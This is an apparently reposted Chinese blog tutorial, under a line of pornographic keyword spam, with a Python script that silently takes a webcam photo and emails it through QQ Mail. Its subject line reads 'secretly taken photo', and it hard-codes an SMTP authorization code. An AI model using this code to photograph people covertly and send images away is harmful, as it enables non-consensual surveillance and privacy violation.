日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)

發布時間:2024/10/5 python 62 豆豆
生活随笔 收集整理的這篇文章主要介紹了 每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

僅供學習,望注意隱私

文章目錄

  • 1、功能展示
  • 2、代碼展示
  • 3、詳細步驟
    • Ⅰ、安裝opencv
    • Ⅱ、QQ郵箱設置


1、功能展示

這里我使用自己的電腦進行控制拍照,將其發送到自己的郵箱;圖片經過base64編碼,至于怎么解碼,從郵箱下載到本地重命名為后綴名為.jpg即可



另外項目目錄也會出現

圖片已經展示過😁

2、代碼展示

import cv2 as cv from email.mime.multipart import MIMEMultipart #郵件格式 from email.header import Header #郵件頭 from email.mime.text import MIMEText #郵件文本內容 from smtplib import SMTP_SSL #郵箱發送依賴包#開啟攝像頭進行拍照 def get_person_image():capture = cv.VideoCapture(0)result,image_data = capture.read() # result是拍照的結果(true或者false),image_data是圖片數據cv.imwrite('person.jpg', image_data) #寫入到當前項目的根目錄下capture.release() #關閉#將圖片發送到郵箱 def send_email():server = 'smtp.qq.com' #使用qq郵箱服務器pwd = 'mlkgdtqksuvldiii' #動態驗證碼(開啟IMAP/SMTP服務之后復制的那一串動態驗證碼)sender = '181xxxx22@qq.com' #發件人receiver = '181xxxx22@qq.com' #收件人#創建郵件格式(郵件格式也就是每封郵件都有發送人、日期、收件人、內容等等)message = MIMEMultipart()message['Subject'] = Header('偷拍照片','UTF-8') #郵件主題message['From'] = sender #發件人message['To'] = receiver #收件人message.attach(MIMEText('photo', 'html', 'UTF-8'))#文本內容(photo是文本內容,網頁肯定是html格式)image = MIMEText(open('person.jpg', 'rb').read(), 'base64', 'UTF-8') #base64是進行編碼(可以理解為加密)image['Content-Type'] = 'image/jpeg'message.attach(image)#發送shtp = SMTP_SSL(server)shtp.login(sender, pwd)shtp.sendmail(sender, receiver, message.as_string())shtp.quit()if __name__ == '__main__':get_person_image()send_email()

3、詳細步驟

Ⅰ、安裝opencv

opencv是一個計算機視覺庫,,使用它我們可以開發實時的計算機視覺應用程序。 它主要集中在圖像處理,視頻采集和分析,包括人臉檢測和物體檢測等功能。

1、在pycharm中點開Terminal

2、輸入pip install opencv-python(點擊回車等待完成即可)

注意python版本不要太高,否者可能會出現opencv無法導入的問題(我是用是的是python3.7版本的)

Ⅱ、QQ郵箱設置

設置-》賬戶-》開啟



開啟IMAP/SMTP服務之后,復制那一串動態驗證碼(代碼中要用到)

注意隱私!

總結

以上是生活随笔為你收集整理的每日简单小妙招:使用python实现控制摄像头拍照并将其发送某某邮箱(仅供学习)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。